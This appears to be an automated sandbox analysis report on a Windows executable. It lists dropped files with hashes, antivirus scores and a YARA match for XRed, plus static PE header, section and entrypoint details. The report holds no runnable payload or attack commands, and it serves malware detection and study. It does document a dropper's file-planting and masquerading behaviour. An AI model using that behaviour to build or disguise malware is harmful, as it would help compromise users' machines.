SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_file.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809496
Entropy (8bit):	7.222919433618305
Encrypted:	false
SSDEEP:	12288:0s1yfEcpPzdv+t4cRIy3ze3SUN0PXGTjiqRy2p3kwzjGHTkV:NwfLrvi4cRIyDe3SUNaXy+WypoGHgV
MD5:	694F54BD227916B89FC3EB1DB53F0685
SHA1:	21FDC367291BBEF14DAC27925CAE698D3928EEAD
SHA-256:	B8F39714D41E009F75EFB183C37100F2CBABB71784BBD243BE881AC5B42D86FD
SHA-512:	55BC0DE75A7F27F11EB8F4EE8C9934DFE1ACD044D8B7B2151C506BDCBEAD3AB179DF7023F699C9139C77541BBC4B1C0657E93C34A6BC4309B665C6CB7636A7E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........U...U...U...rq..G...rq..>.......^...U......U...\...rq..w...rq..T...rq..T...RichU...........PE..L...q.%J.....................`......Al............@..........................P.................................................x....`..H............@..............p...................................................0............................text............................... ..`.rdata...6.......@..................@..@.data....>... ...0... ..............@....rsrc...H....`.......P..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\GAOBCVIQIJ.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$GAOBCVIQIJ.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.610853976637159
Encrypted:	false
SSDEEP:	3:iXFQLjLlAWFd:97
MD5:	CA2C2DB316A89F044206082EEB3A366E
SHA1:	B1B7DFF94B991B26093AA29BF3793DDE245412E1
SHA-256:	12393F1035745AD02C149920E37AFFE459CD0448A2AFEE25C1FABA8060758FF7
SHA-512:	66BC8C779431737A3FA00AF7697C299BC473B6FD22D48914986821DA7C0AB90554D32F7F2B471EAB5410F9C0DE7E076F4D6DEDDCCE1948818F7781DAE9EDEBE7
Malicious:	false
Preview:	.user ..e.n.g.i.n.e.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.62079517282976
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I1r:ansJ39LyjbJkQFMhmC+6GD9u
MD5:	5C4B663910D58434FF9FEFF5ADE763A9
SHA1:	7D9346FFF28C53A322BAE6F22768A6E6DD4FFBAB
SHA-256:	8BC9137AF614C291D697C7E1DAFDF04A6BB0156FB4720574FA63B97DDC7198D0
SHA-512:	D8016BD62AF930F43EAE3CE2AADD1A4F723981EE21D32C94114555E7E89FAA1B6C16E795F0C69B96E39A1CD107AFDAE31B9A2A5495ABC2524FC236C4C19A191D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\SysWOW64\OpenAL32.dll (copy)

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	109080
Entropy (8bit):	6.271459525500095
Encrypted:	false
SSDEEP:	1536:xYf99QAGcIq+pNocP6YI60qlW+kNvsy/mSvIfttnuQm6A41NbApkh:Hq+pKcPdUqWsyRIfttnu/y1Zk+
MD5:	235355A8DD26903E75D5E812ECF50E53
SHA1:	8316319341A0F9054E19E4A7B21DF3DC49386FEE
SHA-256:	1797D150A2E23AF4F390F5C33EB598C6F58D0454011D74941F5316ADD900BBDD
SHA-512:	5BEB9343028790F993D0ACB1007FD112B7E2EF6F9FBEDFDB62B0140D2BBADF3B6368417EA19EDB0BC8674D19418E5784FEF4430CE1C329DE8E83C304706D39AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n> ._N._N._N...3.>_N...#.}_N..P../_N._O.r_N... .._N...4.+_N...2.+_N...6.+_N.Rich*_N.........................PE..L.....%J...........!.................j...............................................Q..............................0........'..<....`..4....................p......`................................#..@...............,............................text............................... ..`.rdata..B7.......@..................@..@.data.... ...@... ...@..............@....rsrc...4....`.......`..............@..@.reloc..@....p... ...p..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\OpenAL32.new

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	109080
Entropy (8bit):	6.271459525500095
Encrypted:	false
SSDEEP:	1536:xYf99QAGcIq+pNocP6YI60qlW+kNvsy/mSvIfttnuQm6A41NbApkh:Hq+pKcPdUqWsyRIfttnu/y1Zk+
MD5:	235355A8DD26903E75D5E812ECF50E53
SHA1:	8316319341A0F9054E19E4A7B21DF3DC49386FEE
SHA-256:	1797D150A2E23AF4F390F5C33EB598C6F58D0454011D74941F5316ADD900BBDD
SHA-512:	5BEB9343028790F993D0ACB1007FD112B7E2EF6F9FBEDFDB62B0140D2BBADF3B6368417EA19EDB0BC8674D19418E5784FEF4430CE1C329DE8E83C304706D39AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n> ._N._N._N...3.>_N...#.}_N..P../_N._O.r_N... .._N...4.+_N...2.+_N...6.+_N.Rich*_N.........................PE..L.....%J...........!.................j...............................................Q..............................0........'..<....`..4....................p......`................................#..@...............,............................text............................... ..`.rdata..B7.......@..................@..@.data.... ...@... ...@..............@....rsrc...4....`.......`..............@..@.reloc..@....p... ...p..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\tmpB6D.tmp

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809496
Entropy (8bit):	7.222919433618305
Encrypted:	false
SSDEEP:	12288:0s1yfEcpPzdv+t4cRIy3ze3SUN0PXGTjiqRy2p3kwzjGHTkV:NwfLrvi4cRIyDe3SUNaXy+WypoGHgV
MD5:	694F54BD227916B89FC3EB1DB53F0685
SHA1:	21FDC367291BBEF14DAC27925CAE698D3928EEAD
SHA-256:	B8F39714D41E009F75EFB183C37100F2CBABB71784BBD243BE881AC5B42D86FD
SHA-512:	55BC0DE75A7F27F11EB8F4EE8C9934DFE1ACD044D8B7B2151C506BDCBEAD3AB179DF7023F699C9139C77541BBC4B1C0657E93C34A6BC4309B665C6CB7636A7E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........U...U...U...rq..G...rq..>.......^...U......U...\...rq..w...rq..T...rq..T...RichU...........PE..L...q.%J.....................`......Al............@..........................P.................................................x....`..H............@..............p...................................................0............................text............................... ..`.rdata...6.......@..................@..@.data....>... ...0... ..............@....rsrc...H....`.......P..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\tmpBBC.tmp

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809496
Entropy (8bit):	7.222919433618305
Encrypted:	false
SSDEEP:	12288:0s1yfEcpPzdv+t4cRIy3ze3SUN0PXGTjiqRy2p3kwzjGHTkV:NwfLrvi4cRIyDe3SUNaXy+WypoGHgV
MD5:	694F54BD227916B89FC3EB1DB53F0685
SHA1:	21FDC367291BBEF14DAC27925CAE698D3928EEAD
SHA-256:	B8F39714D41E009F75EFB183C37100F2CBABB71784BBD243BE881AC5B42D86FD
SHA-512:	55BC0DE75A7F27F11EB8F4EE8C9934DFE1ACD044D8B7B2151C506BDCBEAD3AB179DF7023F699C9139C77541BBC4B1C0657E93C34A6BC4309B665C6CB7636A7E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........U...U...U...rq..G...rq..>.......^...U......U...\...rq..w...rq..T...rq..T...RichU...........PE..L...q.%J.....................`......Al............@..........................P.................................................x....`..H............@..............p...................................................0............................text............................... ..`.rdata...6.......@..................@..@.data....>... ...0... ..............@....rsrc...H....`.......P..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\wrap_oal.dll (copy)

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	444952
Entropy (8bit):	6.50027101130861
Encrypted:	false
SSDEEP:	6144:0AswvHbkHO2Qc7h3Ckr6A6u35n4boFnugPoHy5AObO5rvbykp:0A9qNyin35n4WugPoEc9ykp
MD5:	D494267BC169604FAC5E3679B9A97FED
SHA1:	C093CE5A4F7DC40F7F604945BD1FACFB2C805C4B
SHA-256:	A4E46E6D09C4B0966824A2F6628EBF738E813672692A52A0D63D982E1030EF4F
SHA-512:	7CFCFB570ECFA974054B5285C7D6AD3BCCF502866EA70789750C3748394CB0991D1FA6DEC9C50A506DBC697953663EC2605277A4451098BB8CD6699C4E506040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.};e..he..he..hB.nhJ..h..Nhl..he..h...h..shd..hB.}hV..hB.~h...hB.ihd..hB.ohd..hB.khd..hRiche..h........................PE..L.....%J...........!..........................................................E.........................................4...\...d.....E.......................E..6..................................`...@............................................text.............................. ..`.rdata..$........ ..................@..@.data.....?......@..................@....rsrc.........E......0..............@..@.reloc...k....E..p...@..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\wrap_oal.new

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	444952
Entropy (8bit):	6.50027101130861
Encrypted:	false
SSDEEP:	6144:0AswvHbkHO2Qc7h3Ckr6A6u35n4boFnugPoHy5AObO5rvbykp:0A9qNyin35n4WugPoEc9ykp
MD5:	D494267BC169604FAC5E3679B9A97FED
SHA1:	C093CE5A4F7DC40F7F604945BD1FACFB2C805C4B
SHA-256:	A4E46E6D09C4B0966824A2F6628EBF738E813672692A52A0D63D982E1030EF4F
SHA-512:	7CFCFB570ECFA974054B5285C7D6AD3BCCF502866EA70789750C3748394CB0991D1FA6DEC9C50A506DBC697953663EC2605277A4451098BB8CD6699C4E506040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.};e..he..he..hB.nhJ..h..Nhl..he..h...h..shd..hB.}hV..hB.~h...hB.ihd..hB.ohd..hB.khd..hRiche..h........................PE..L.....%J...........!..........................................................E.........................................4...\...d.....E.......................E..6..................................`...@............................................text.............................. ..`.rdata..$........ ..................@..@.data.....?......@..................@....rsrc.........E......0..............@..@.reloc...k....E..p...@..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\OpenAL32.new

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122904
Entropy (8bit):	6.229212564752368
Encrypted:	false
SSDEEP:	3072:mQG3kfDcDKLIjVUl4ZjxNP7ZOqCA48gstZLsFusbdLakZ:ejsxlUVZ7ZOPstm1YkZ
MD5:	2AD7B4F3C8D2BB686D231EDFF404B7A4
SHA1:	F29676B96D04BD2765925A3834D9BABFDCE6A0B3
SHA-256:	87802322C8E63555C26FE473CE234CE7099745CCB28C02766C2224C726454039
SHA-512:	51A6C8CFE30E34C37437E6C5F8C602AA0759B65559A82521E2DBCF8A9865B826077854ACB6497DF6085D67B4C66083AE5F0F192B743A4B6F77CE7B18F01BF528
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H.m&..m&..m&...[..m&...K..m&...]..m&..m'..m&...H..m&...\..m&...Z..m&...^..m&.Rich.m&.........PE..d...#.%J.........." ...........................................................................................................................<.......4.......................\|....B...............................................@..h............................text....-.......................... ..`.rdata...U...@...V...2..............@..@.data....,..........................@....pdata..............................@..@.rsrc...4...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\System32\wrap_oal.new

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	466456
Entropy (8bit):	6.293257872981645
Encrypted:	false
SSDEEP:	6144:ING0FBd3thlYIhSJyYvb3ahwNDx/+IJcaxjCz0G5suFrtxZO+jTyWQqlMfhGy6We:ILVkoWTNV/Qz0vWtxRHQqlM/kb
MD5:	549347BCD4AACD63243D78E8F869DBB1
SHA1:	EFC00D2A7C5ACFE17B8A58023826E6840AEF39A6
SHA-256:	5379373CF3EFF41CDD8C912C65E27E1BD492BD84238D19A093AA846C9B1CE909
SHA-512:	C6789376D05DEB8C5050225C37C023055C107A72B49AFDDFD3F91E7E7429D38DB9346E2E5D38986C2000C3828389CFBE5D74D80423A79EEBD0367BCC81137CD5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>R.;z3.hz3.hz3.h]..hs3.h...hs3.hz3.h.3.h...h{3.h]..hI3.h]..h.3.h]..h{3.h]..h{3.h]..h{3.hRichz3.h........................PE..d...G.%J.........." .....Z..........00.......................................0H......................................................q..4...\|e..d.....G.......G..6............H.\|.......................................................x............................text....S.......T.................. ..`TEXT.........p.......X.............. ..`.rdata..D............^..............@..@.data...."A......F...Z..............@....pdata...6....G..8..................@..@.rsrc.........G.....................@..@.reloc..D%....H..&..................@..B................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4687107527522665
Encrypted:	false
SSDEEP:	6144:3zZfpi6ceLPx9skLmb0fOZWSP3aJG8nAgeiJRMMhA2zX4WABluuNZjDH5S:jZHtOZWOKnMM6bFpLj4
MD5:	59F16384A1BC32EB1A06A97A5A7454A8
SHA1:	9A0424259EB9493750162CDA25E16DFC8AED4FAD
SHA-256:	56C419652D13FE96831DD86804D782E6E3F05E0C4DCE54468EBAF5335551D4D8
SHA-512:	D764CA6E28D8F1AE36AE69E6F0E6F3A01430FB12D73CAECBE91C650C16826C5E197B3345EB34CA05F54E520803D2FE733567B96693F5A11EEE7CCD1C18C5F4F4
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...L]..............................................................................................................................................................................................................................................................................................................................................D..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\system32\OpenAL32.dll (copy)

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122904
Entropy (8bit):	6.229212564752368
Encrypted:	false
SSDEEP:	3072:mQG3kfDcDKLIjVUl4ZjxNP7ZOqCA48gstZLsFusbdLakZ:ejsxlUVZ7ZOPstm1YkZ
MD5:	2AD7B4F3C8D2BB686D231EDFF404B7A4
SHA1:	F29676B96D04BD2765925A3834D9BABFDCE6A0B3
SHA-256:	87802322C8E63555C26FE473CE234CE7099745CCB28C02766C2224C726454039
SHA-512:	51A6C8CFE30E34C37437E6C5F8C602AA0759B65559A82521E2DBCF8A9865B826077854ACB6497DF6085D67B4C66083AE5F0F192B743A4B6F77CE7B18F01BF528
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H.m&..m&..m&...[..m&...K..m&...]..m&..m'..m&...H..m&...\..m&...Z..m&...^..m&.Rich.m&.........PE..d...#.%J.........." ...........................................................................................................................<.......4.......................\|....B...............................................@..h............................text....-.......................... ..`.rdata...U...@...V...2..............@..@.data....,..........................@....pdata..............................@..@.rsrc...4...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\system32\wrap_oal.dll (copy)

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	466456
Entropy (8bit):	6.293257872981645
Encrypted:	false
SSDEEP:	6144:ING0FBd3thlYIhSJyYvb3ahwNDx/+IJcaxjCz0G5suFrtxZO+jTyWQqlMfhGy6We:ILVkoWTNV/Qz0vWtxRHQqlM/kb
MD5:	549347BCD4AACD63243D78E8F869DBB1
SHA1:	EFC00D2A7C5ACFE17B8A58023826E6840AEF39A6
SHA-256:	5379373CF3EFF41CDD8C912C65E27E1BD492BD84238D19A093AA846C9B1CE909
SHA-512:	C6789376D05DEB8C5050225C37C023055C107A72B49AFDDFD3F91E7E7429D38DB9346E2E5D38986C2000C3828389CFBE5D74D80423A79EEBD0367BCC81137CD5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>R.;z3.hz3.hz3.h]..hs3.h...hs3.hz3.h.3.h...h{3.h]..hI3.h]..h.3.h]..h{3.h]..h{3.h]..h{3.hRichz3.h........................PE..d...G.%J.........." .....Z..........00.......................................0H......................................................q..4...\|e..d.....G.......G..6............H.\|.......................................................x............................text....S.......T.................. ..`TEXT.........p.......X.............. ..`.rdata..D............^..............@..@.data...."A......F...Z..............@....pdata...6....G..8..................@..@.rsrc.........G.....................@..@.reloc..D%....H..&..................@..B................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.064192152092494
TrID:	Win32 Executable (generic) a (10002005/4) 93.21% Win32 Executable Borland Delphi 7 (665061/41) 6.20% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	file.exe
File size:	1'581'056 bytes
MD5:	2756afc3782b185d3c05dd880a8e8313
SHA1:	82417bd86f1fb249e296bb6b073b560e47639dde
SHA256:	f05b2555733c2ae2ee5a39c1e7b7a833c0bbae64a020c42a5446274a2545d682
SHA512:	9ffea594cd493cbd6fcb9f6f63dffa9127b17487177e63a466b786bc2d24d8af270c56dc653720266e6ad410ddce0931423354b6fa2dc02a7b2cb91e42321fc2
SSDEEP:	24576:WnsJ39LyjbJkQFMhmC+6GD9+wfLrvi4cRIyDe3SUNaXy+WypoGHgQ:WnsHyjtk2MYC5GDf+i3DsX1WH5Q
TLSH:	AB75C022B1D18837D177163D8C7B93A4583ABE512E24794B3BE43E4DDF3A281A9352D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	9394941616d65636

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F4274AC7FBDh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F4274B1B905h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F4274B1B504h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F4274B1B8F4h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F4274B1B968h
call 00007F4274AC5A9Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0xd7748	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0xd7748	0xd7800	7bd6aa50ceb7a9de8eb72b1663802283	False	0.7083522150522041	data	7.161898609061394	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.040572232645403376
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
